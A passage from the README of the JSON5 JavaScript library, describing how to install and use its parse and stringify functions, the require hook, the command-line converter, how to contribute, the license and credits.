build: './lib/cli.js -c package.json5',
test: 'mocha --ui exports --reporter spec',
},
homepage: 'http://json5.org/',
repository: {
type: 'git',
url: 'https://github.com/aseemk/json5.git',
},
}
Join the Google Group if you're interested in JSON5 news, updates, and general discussion. Don't worry, it's very low-traffic.
The GitHub wiki is a good place to track JSON5 support and usage. Contribute freely there!
GitHub Issues is the place to formally propose feature requests and report bugs. Questions and general feedback are better directed at the Google Group.
This JavaScript implementation of JSON5 simply provides a JSON5
object just
like the native ES5 JSON
object.
To use from Node:
npm install json5
var JSON5 = require('json5');
To use in the browser (adds the JSON5
object to the global namespace):
<script src="json5.js"></script>
Then in both cases, you can simply replace native JSON
calls with JSON5
:
var obj = JSON5.parse('{unquoted:"key",trailing:"comma",}');
var str = JSON5.stringify(obj);
JSON5.parse
supports all of the JSON5 features listed above (TODO: except
Unicode), as well as the native reviver
argument.
JSON5.stringify
mainly avoids quoting keys where possible, but we hope to
keep expanding it in the future (e.g. to also output trailing commas).
It supports the native replacer
and space
arguments,
as well. (TODO: Any implemented toJSON
methods aren't used today.)
If you're running this on Node, you can also register a JSON5 require()
hook
to let you require()
.json5
files just like you can .json
files:
require('json5/lib/require');
require('./path/to/foo'); // tries foo.json5 after foo.js, foo.json, etc.
require('./path/to/bar.json5');
This module also provides a json5
executable (requires Node) for converting
JSON5 files to JSON:
$ json5 -c path/to/foo.json5 # generates path/to/foo.json
git clone git://github.com/aseemk/json5.git
cd json5
npm install
npm test
As the package.json5
file states, be sure to run npm run build
on changes
to package.json5
, since npm requires package.json
.
Feel free to file issues and submit
pull requests — contributions are
welcome. If you do submit a pull request, please be sure to add or update the
tests, and ensure that npm test
continues to pass.
MIT License. © 2012 Aseem Kishore, and others.
Michael Bolin independently arrived at and published some of these same ideas with awesome explanations and detail. Recommended reading: Suggested Improvements to JSON
Douglas Crockford of course designed and built JSON, but his state machine diagrams on the JSON website, as cheesy as it may sound, gave me motivation and confidence that building a new parser to implement these ideas this was within my reach! This code is also modeled directly off of Doug's open-source json_parse.js parser. I'm super grateful for that clean and well-documented code.
Max Nanasy has been an early and prolific supporter, contributing multiple patches and ideas. Thanks Max!
Andrew Eisenberg has contributed the stringify
method.


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